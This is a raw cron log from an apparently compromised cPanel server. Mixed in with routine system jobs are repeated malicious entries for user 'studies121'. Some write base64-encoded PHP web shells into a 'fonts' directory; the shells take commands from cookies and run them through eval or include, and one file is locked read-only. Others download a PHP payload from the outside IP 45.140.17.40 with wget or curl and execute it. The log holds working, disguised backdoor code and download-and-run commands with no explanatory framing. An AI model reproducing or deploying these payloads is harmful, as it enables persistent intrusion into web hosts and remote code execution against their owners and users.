Feb 22 03:37:01 ip-184-168-122-23 CROND[16936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:37:01 ip-184-168-122-23 CROND[16938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:37:01 ip-184-168-122-23 CROND[16937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:38:01 ip-184-168-122-23 CROND[17254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:38:01 ip-184-168-122-23 CROND[17258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:38:01 ip-184-168-122-23 CROND[17259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:38:01 ip-184-168-122-23 CROND[17262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:38:01 ip-184-168-122-23 CROND[17264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:39:01 ip-184-168-122-23 CROND[17698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:39:01 ip-184-168-122-23 CROND[17701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:39:01 ip-184-168-122-23 CROND[17700]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 03:39:01 ip-184-168-122-23 CROND[17702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:39:01 ip-184-168-122-23 CROND[17703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:40:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:40:01 ip-184-168-122-23 CROND[18041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 03:40:01 ip-184-168-122-23 CROND[18046]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:40:01 ip-184-168-122-23 CROND[18047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:40:01 ip-184-168-122-23 CROND[18044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:40:01 ip-184-168-122-23 CROND[18043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:40:01 ip-184-168-122-23 CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:40:01 ip-184-168-122-23 CROND[18050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:41:01 ip-184-168-122-23 CROND[18381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:41:01 ip-184-168-122-23 CROND[18382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:41:01 ip-184-168-122-23 CROND[18385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:41:01 ip-184-168-122-23 CROND[18387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:42:01 ip-184-168-122-23 CROND[18686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:42:01 ip-184-168-122-23 CROND[18687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:42:01 ip-184-168-122-23 CROND[18691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:42:01 ip-184-168-122-23 CROND[18690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:42:01 ip-184-168-122-23 CROND[18689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:43:01 ip-184-168-122-23 CROND[18986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:43:01 ip-184-168-122-23 CROND[18988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:43:01 ip-184-168-122-23 CROND[18987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:43:01 ip-184-168-122-23 CROND[18989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:44:01 ip-184-168-122-23 CROND[19309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:44:01 ip-184-168-122-23 CROND[19311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:44:01 ip-184-168-122-23 CROND[19313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:44:01 ip-184-168-122-23 CROND[19314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:44:01 ip-184-168-122-23 CROND[19312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:45:01 ip-184-168-122-23 CROND[19632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:45:01 ip-184-168-122-23 CROND[19635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:45:01 ip-184-168-122-23 CROND[19636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:45:01 ip-184-168-122-23 CROND[19637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 03:45:01 ip-184-168-122-23 CROND[19633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 03:45:01 ip-184-168-122-23 CROND[19634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:46:02 ip-184-168-122-23 CROND[19952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:46:02 ip-184-168-122-23 CROND[19954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:46:02 ip-184-168-122-23 CROND[19955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:46:02 ip-184-168-122-23 CROND[19957]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 03:46:02 ip-184-168-122-23 CROND[19956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:46:02 ip-184-168-122-23 CROND[19958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:47:01 ip-184-168-122-23 CROND[20269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:47:01 ip-184-168-122-23 CROND[20271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:47:01 ip-184-168-122-23 CROND[20272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:47:01 ip-184-168-122-23 CROND[20273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:48:01 ip-184-168-122-23 CROND[20589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 03:48:01 ip-184-168-122-23 CROND[20592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:48:01 ip-184-168-122-23 CROND[20594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 03:48:01 ip-184-168-122-23 CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 03:48:01 ip-184-168-122-23 CROND[20593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 03:49:01 ip-184-168-122-23 CROND[20865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 03:49:01 ip-184-168-122-23 CROND[20867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
